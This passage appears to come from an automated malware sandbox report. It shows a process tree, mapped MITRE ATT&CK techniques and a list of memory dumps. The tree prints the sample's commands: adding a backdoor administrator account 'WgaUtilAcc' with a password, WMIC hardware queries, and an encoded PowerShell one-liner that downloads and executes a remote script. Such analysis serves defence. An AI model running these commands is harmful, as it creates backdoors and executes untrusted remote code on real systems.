  2⤵
  PID:1668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:628

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc NJB8RZL8
1⤵
PID:3352
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc NJB8RZL8
  2⤵
  PID:2724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc NJB8RZL8
    3⤵
    PID:3788

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2280
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3740

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:816
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3256

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1284
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/812-143-0x00000269401B6000-0x00000269401B8000-memory.dmp

Filesize
8KB

Download
memory/812-178-0x00000269401B8000-0x00000269401B9000-memory.dmp

Filesize
4KB

Download
memory/812-142-0x00000269401B3000-0x00000269401B5000-memory.dmp

Filesize
8KB

Download
memory/812-141-0x00000269401B0000-0x00000269401B2000-memory.dmp

Filesize
8KB

Download
memory/812-138-0x0000026940180000-0x00000269401A2000-memory.dmp

Filesize
136KB

Download
memory/812-151-0x00000269407B0000-0x0000026940926000-memory.dmp

Filesize
1.5MB

Download
memory/812-152-0x0000026940B40000-0x0000026940D4A000-memory.dmp

Filesize
2.0MB

Download
memory/1736-174-0x000001E4F5400000-0x000001E4F5402000-memory.dmp

Filesize
8KB

Download
memory/1736-175-0x000001E4F5403000-0x000001E4F5405000-memory.dmp

Filesize
8KB

Download
memory/1736-176-0x000001E4F5406000-0x000001E4F5408000-memory.dmp

Filesize
8KB

Download
memory/2276-160-0x000002AFD8210000-0x000002AFD82D0000-memory.dmp

Filesize
768KB

Download
memory/2276-161-0x000002AFD8210000-0x000002AFD82D0000-memory.dmp

Filesize
768KB

Download
memory/2276-159-0x000002AFD8210000-0x000002AFD82D0000-memory.dmp

Filesize
768KB

Download
memory/3148-213-0x000001D8C9890000-0x000001D8C9892000-memory.dmp

Filesize
8KB

Download
memory/3148-215-0x000001D8C9896000-0x000001D8C9898000-memory.dmp

Filesize
8KB

Download
memory/3148-214-0x000001D8C9893000-0x000001D8C9895000-memory.dmp

Filesize
8KB

Download
memory/3356-130-0x00000168AA250000-0x00000168AA410000-memory.dmp

Filesize
1.8MB

Download
memory/3356-131-0x00000168AA250000-0x00000168AA410000-memory.dmp

Filesize
1.8MB

Download
memory/3356-132-0x00000168AA250000-0x00000168AA410000-memory.dmp

Filesize
1.8MB

Download
memory/3356-133-0x00000168AA250000-0x00000168AA410000-memory.dmp

Filesize
1.8MB

Download